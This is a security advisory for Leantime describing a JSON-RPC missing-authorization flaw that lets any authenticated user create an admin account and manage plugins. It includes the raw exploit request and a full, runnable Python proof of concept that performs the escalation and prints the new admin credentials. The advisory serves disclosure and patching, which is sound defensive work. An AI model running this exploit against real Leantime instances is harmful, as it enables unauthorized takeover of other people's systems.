GHSA-54mm-6729-r5wp

Suggest an improvement
Source
https://github.com/advisories/GHSA-54mm-6729-r5wp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-54mm-6729-r5wp/GHSA-54mm-6729-r5wp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-54mm-6729-r5wp
Aliases
Published
2026-10-15T20:14:43Z
Modified
2026-10-15T20:30:06Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods
Details

Summary

Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.

Details

Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.

Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:

// app/Domain/Api/Services/Api.php
/**
 * @api
 */
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check
    ...
}

The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.

Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.

Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.

PoC

A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:

  1. Create/authenticate as a readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. /plugins/myapps.
  2. From that same low-privilege session, send:
    POST /api/jsonrpc
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    
    {"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
     "params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}
    
    The server responds HTTP 200 with the newly created account's user/passwordClean and "role":40 (admin) in the JSON body.
  3. Log in through the normal /auth/login form using the returned user/passwordClean. The resulting session now has full, interactive access to /plugins/myapps (HTTP 200) - the exact page that returned 403 in step 1.

Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.

Impact

Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.

Script : poc.py

#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
  2. Confirms the account is correctly blocked by the normal web UI from an
     admin-only page (expects HTTP 403) -- this establishes the account truly
     has no admin rights before the exploit runs.
  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
     nothing but that account's own ordinary session cookie, requesting
     role=40 (admin). No admin/API-key credential is used anywhere in this
     step -- only the low-privilege session established in step 1.
  4. Logs in through the completely ordinary web login form using the
     generated username/password from step 3, and confirms that account now
     has full, interactive admin access to the same admin-only page that
     blocked the original low-privilege account in step 2. (The record is
     created with source='' rather than source='api' -- createAPIKey() never
     sets that column -- so it does NOT work as an x-api-key credential, but
     it is a fully functional role=40 web login, which is a stronger and
     more direct proof of impact.)

Requirements: pip install requests

Usage:
  python3 poc.py --url http://localhost:5080 \\
      --username lowpriv@leantime.test --password 'LowPriv123!'
"""

import argparse
import sys

import requests


def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
    """Call a JSON-RPC method. Sends X-Requested-With so the session-based
    guard actually loads the caller's real, persisted session (see
    StartSession.php:65) -- without it, API requests get a fresh, empty,
    in-memory session and every call 401s regardless of login state."""
    headers = {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
    }
    if extra_headers:
        headers.update(extra_headers)

    resp = session.post(
        f"{base_url}/api/jsonrpc",
        json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
        headers=headers,
    )
    return resp


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
    parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
    parser.add_argument("--password", required=True, help="Password for that account")
    parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
    args = parser.parse_args()

    verify = not args.insecure
    base_url = args.url.rstrip("/")
    s = requests.Session()
    s.verify = verify

    print(f"[*] Target: {base_url}")

    # Step 1: log in as the low-privilege account via the ordinary web form.
    print(f"[*] Logging in as low-privilege account: {args.username}")
    s.get(f"{base_url}/auth/login")  # prime session cookie
    login_resp = s.post(
        f"{base_url}/auth/login",
        data={
            "username": args.username,
            "password": args.password,
            "redirectUrl": "/dashboard/home",  # avoid the unrelated empty-redirectUrl 500 bug
        },
        allow_redirects=False,
    )
    if login_resp.status_code not in (302, 303):
        print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
        sys.exit(1)
    print("[+] Login succeeded (session cookie established).")

    # Step 2: confirm the account genuinely has no admin rights via the web UI.
    check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if check_resp.status_code == 403:
        print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
    else:
        print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
              f"Continuing anyway, but this account may not be low-privilege as assumed.")

    # Step 3: the actual privilege escalation -- same session, no API key used.
    print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
          "using ONLY the low-privilege session from step 1 ...")
    esc_resp = rpc_call(
        s,
        base_url,
        "leantime.rpc.api.api.createApiKeyWithProjects",
        {"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
    )

    try:
        esc_json = esc_resp.json()
    except ValueError:
        print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
        sys.exit(1)

    if "error" in esc_json:
        print(f"[!] Exploit call failed: {esc_json['error']}")
        print("    (If this is 'Method is not available via API' or an AuthorizationException, "
              "the target may already be patched.)")
        sys.exit(1)

    result = esc_json["result"]
    new_user = result["user"]
    new_pass = result["passwordClean"]
    new_role = result["role"]
    new_id = result["id"]
    api_key = f"lt_{new_user}_{new_pass}"

    print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
          "with no permission check on the calling (low-privilege) account.")
    print(f"    New account id={new_id}  role={new_role} (40 == admin)")
    print(f"    Generated credentials -- username: {new_user}  password: {new_pass}")
    print(f"    (Nominal API key form: {api_key} -- see note below.)")

    # Step 4: prove the new account carries real, interactive admin privilege
    # by logging in through the ORDINARY web login form and hitting the same
    # admin-only page that blocked the original low-privilege account.
    print("[*] Logging in through the normal web UI with the generated credentials ...")
    admin_session = requests.Session()
    admin_session.verify = verify
    admin_session.get(f"{base_url}/auth/login")
    admin_login_resp = admin_session.post(
        f"{base_url}/auth/login",
        data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
        allow_redirects=False,
    )
    if admin_login_resp.status_code not in (302, 303):
        print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
        sys.exit(1)

    admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if admin_check_resp.status_code == 200:
        print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
              f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
              f"the exact page that returned 403 for the original account in step 2.")
    else:
        print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
              f"got {admin_check_resp.status_code}.")

if __name__ == "__main__":
    main()

Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.

Database specific
{
    "cwe_ids":  [
        "CWE-269",
        "CWE-862"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-15T20:14:43Z",
    "nvd_published_at":  "2026-10-13T17:17:47Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / leantime/leantime

Package

Name
leantime/leantime
Purl
pkg:composer/leantime/leantime

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.10.0

Affected versions

v2.*
v2.0
v2.0.1
v2.0.2
v2.0.3
v2.0.4
v2.0.5
v2.0.6
v2.0.7
v2.0.8
v2.0.9
v2.0.10
v2.0.11
v2.0.12
v2.0.13
v2.0.14
v2.0.15
v2.1-beta
v2.1-beta2
v2.1-beta3
v2.1-beta5
v2.1-beta6
v2.1
v2.1.1
v2.1.2
v2.1.3
v2.1.4
v2.1.5
v2.1.6
v2.1.7
v2.1.8
v2.1.9
v2.2.0
v2.2.1
v2.2.2
v2.2.3
v2.2.4
v2.2.5
v2.2.6
v2.2.7
v2.2.8
v2.2.9
v2.2.10
v2.2.11
v2.3.0-beta
v2.3.1-beta
v2.3.2
v2.3.3
v2.3.4
v2.3.5
v2.3.6
v2.3.7
v2.3.8
v2.3.9
v2.3.10
v2.3.11
v2.3.12
v2.3.13
v2.3.14
v2.3.15
v2.3.16
v2.3.17
v2.3.18
v2.3.19
v2.3.20
v2.3.21
v2.3.22
v2.3.23
v2.3.24
v2.3.25
v2.3.26
v2.3.27
2.*
2.4-beta
2.4-beta-7
2.4-beta-8
2.4
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.7
2.4.8
3.*
3.0.0-beta
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.1.0-beta
3.1.1
3.1.2
3.1.3
3.1.4
3.2.0-beta
3.2.0-beta-2
3.2.0
3.2.1
3.3
3.3.1
3.3.2
3.3.3
3.4.0
v3.*
v3.4.1
v3.4.2
v3.4.3
v3.4.4
v3.4.5
v3.4.6
v3.4.7
v3.4.8
v3.4.9
v3.4.10
v3.4.11
v3.4.12
v3.5.1
v3.5.2
v3.5.3
v3.5.4
v3.5.5
v3.5.6
v3.5.7
v3.5.8
v3.5.9
v3.5.10
v3.5.11
v3.5.12
v3.6.0
v3.6.1
v3.6.2
v3.7.0
v3.7.1
v3.7.2
v3.7.3
v3.8.0
v3.9.0
v3.9.1
v3.9.2
v3.9.3
v3.9.4
v3.9.5
v3.9.6
v3.9.7
v3.9.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-54mm-6729-r5wp/GHSA-54mm-6729-r5wp.json"